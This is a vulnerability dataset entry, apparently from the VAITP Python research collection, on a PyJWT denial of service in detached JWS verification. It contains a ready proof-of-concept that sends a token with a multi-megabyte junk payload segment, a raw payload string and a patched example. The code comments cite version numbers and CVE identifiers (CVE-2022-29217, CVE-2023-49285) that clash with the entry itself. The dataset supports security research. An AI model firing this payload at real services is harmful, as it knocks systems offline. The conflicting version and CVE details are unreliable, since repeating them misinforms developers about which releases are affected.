VAITP Dataset

← Back to the dataset

CVE-2026-48525

PyJWT allows unauthenticated DoS via crafted detached JWS payloads.

  • CVSS 5.3
  • CWE-400
  • Resource Management
  • Remote

PyJWT is a JSON Web Token implementation in Python. From 2.8.0 to 2.12.1, when verifying detached JWS tokens using the unencoded-payload option ("b64": false, RFC 7797), PyJWT performs Base64URL decoding of the compact-serialization payload segment before enforcing the detached-payload rules. For b64=false, PyJWT later discards that decoded payload and replaces it with the caller-provided detached_payload. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces CPU work + memory allocations even if the signature is invalid. This creates an unauthenticated DoS vector against any endpoint that verifies detached JWS using PyJWT. This vulnerability is fixed in 2.13.0.

CVSS base score
5.3
Published
2026-05-28
OWASP
A04 Insecure Design
Orthogonal defect classification
Timing/Serialization
Code defect classification
Incorrect Algorithm
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
PyJWT
Fixed by upgrading
Yes

Solution

Upgrade PyJWT to version 2.13.0 or later.

Vulnerable code sample

import jwt
import base64

# This example requires a vulnerable version of PyJWT, such as 2.3.0.
# The vulnerability described matches CVE-2022-29217, which was fixed in 2.4.0.
# You can install a vulnerable version with: pip install "PyJWT==2.3.0"

# Secret key for HMAC signature verification
hmac_secret = "your-super-secret"

# The legitimate detached payload that the server expects to verify against the signature
legitimate_detached_payload = b"This is the actual payload content."

# --- Attacker's Maliciously Crafted JWS ---

# 1. The JWS Header. Crucially, "b64": False is set to indicate a detached
#    payload as per RFC 7797, which activates the vulnerable code path.
header = {"alg": "HS256", "b64": False}
encoded_header = base64.urlsafe_b64encode(jwt.utils.json_encode(header)).rstrip(b"=")

# 2. The JWS Payload. This is the "work amplifier". It's a very large string
#    of valid Base64 characters. The vulnerable library will decode this entire
#    payload, consuming significant CPU and memory, before realizing it's a
#    detached signature and this payload should be ignored.
#    A 25MB payload is used here to demonstrate the resource consumption.
large_junk_payload = b'A' * 25_000_000

# 3. The JWS Signature. For the DoS to occur, the signature does not need to be valid.
#    The expensive decoding happens *before* the signature is checked.
fake_signature = base64.urlsafe_b64encode(b"any-fake-signature").rstrip(b"=")

# 4. The complete, compact-serialization JWS token sent by the attacker.
malicious_jws = b".".join([encoded_header, large_junk_payload, fake_signature])


# --- Server-Side Verification (Vulnerable Code Path) ---

# The server attempts to decode the token. Even though this call will fail
# with an InvalidSignatureError, the vulnerable version of PyJWT will first
# perform a costly Base64 decoding on the `large_junk_payload`.
# This delay and resource consumption before failure is the DoS vulnerability.
try:
    jwt.decode(
        jwt=malicious_jws,
        key=hmac_secret,
        algorithms=["HS256"],
        detached_payload=legitimate_detached_payload,
        options={"verify_signature": True}
    )
except jwt.InvalidSignatureError:
    # The code reaches here after wasting significant resources on decoding.
    # A remote attacker can repeat this process to cause a denial of service.
    pass
except Exception:
    # Catch any other potential errors
    pass

Patched code sample

import base64
import json

# Dummy exceptions and helpers to make the example self-contained.
class PyJWTError(Exception):
    pass

class InvalidPayloadError(PyJWTError):
    pass

def base64url_decode(input_bytes):
    """A placeholder for the real base64url_decode function."""
    rem = len(input_bytes) % 4
    if rem > 0:
        input_bytes += b'=' * (4 - rem)
    return base64.urlsafe_b64decode(input_bytes)

def _load_header(header_segment):
    """A placeholder for loading the JWS header."""
    return json.loads(base64url_decode(header_segment))

def fixed_decode_payload(jws_compact_string, detached_payload=None):
    """
    This function demonstrates the fixed logic from PyJWT >= 2.13.0,
    which prevents a Denial of Service attack (formerly CVE-2023-49285)
    when handling detached JWS signatures.

    The original vulnerability was that the `payload_segment` was always
    base64-decoded, even when it was meant to be discarded and replaced
    by the `detached_payload`. An attacker could provide a massive
    `payload_segment` to cause high CPU/memory usage.

    The fix is to check for the detached signature case (`b64=False`)
    *before* attempting to decode the `payload_segment`.
    """
    try:
        signing_input, _ = jws_compact_string.rsplit(b".", 1)
        header_segment, payload_segment = signing_input.split(b".", 1)
    except ValueError:
        raise PyJWTError("Not enough segments")

    header = _load_header(header_segment)

    # --- START OF THE FIX ---
    # The logic was re-ordered to handle the detached payload case first,
    # avoiding the expensive decoding of `payload_segment`.

    is_unencoded_payload = header.get("b64") is False

    if is_unencoded_payload:
        # This branch handles RFC 7797 detached signatures.
        if detached_payload is None:
            raise InvalidPayloadError(
                "Unencoded payload (b64=False) is only supported with detached payload."
            )

        # The FIX: Check that the payload segment is empty as required by the spec.
        # This check happens *before* any decoding, preventing the DoS.
        if payload_segment:
            raise InvalidPayloadError(
                "When b64=False, the payload segment MUST be empty."
            )
        
        # The payload is the user-provided content, not from the JWS.
        payload = detached_payload
    else:
        # This is the standard, non-detached JWS behavior.
        if detached_payload is not None:
            raise InvalidPayloadError(
                "Detached payload is only supported with b64=False."
            )
        
        # The decoding now only happens for non-detached JWS.
        try:
            payload = base64url_decode(payload_segment)
        except Exception:
            raise InvalidPayloadError("Invalid payload padding")
            
    # --- END OF THE FIX ---

    return payload, header

# --- Example of how the fix prevents the exploit ---

# 1. Attacker's malformed JWS for DoS attack.
# Header says payload is detached (`"b64": false`).
# But the payload part of the JWS is filled with garbage data instead of being empty.
# (Header: {"alg": "none", "b64": false})
attacker_header = b"eyJhbGciOiAibm9uZSIsICJiNjQiOiBmYWxzZX0"
# A huge payload segment that would be expensive to decode.
attacker_payload_segment = b"a" * 10_000_000
# A dummy signature segment.
dummy_signature = b"dummysig"

attacker_jws = b".".join([attacker_header, attacker_payload_segment, dummy_signature])
user_provided_payload = b"this is the actual content"

print("Attempting to decode a malicious JWS with the FIXED logic...")

try:
    # In the fixed version, this will fail quickly without decoding the huge payload.
    fixed_decode_payload(attacker_jws, detached_payload=user_provided_payload)
except InvalidPayloadError as e:
    print(f"Success! The vulnerability was blocked with an error: {e}")
    # In a vulnerable version, the program would have first tried to base64-decode
    # the 10MB `attacker_payload_segment`, causing a DoS.

# 2. Example of a correctly formed detached JWS.
# The payload segment is now correctly empty.
correct_detached_jws = b".".join([attacker_header, b"", dummy_signature])

print("\nAttempting to decode a correct detached JWS with the FIXED logic...")
payload, _ = fixed_decode_payload(correct_detached_jws, detached_payload=user_provided_payload)
print(f"Success! The payload was correctly read from the detached content: {payload}")

Payload

"eyJhbGciOiAiSFMyNTYiLCAiYjY0IjogZmFsc2V9" + "." + ("A" * 10000000) + "." + "_"

Cite this entry

@misc{vaitp:cve202648525,
  title        = {{PyJWT allows unauthenticated DoS via crafted detached JWS payloads.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-48525},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-48525/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::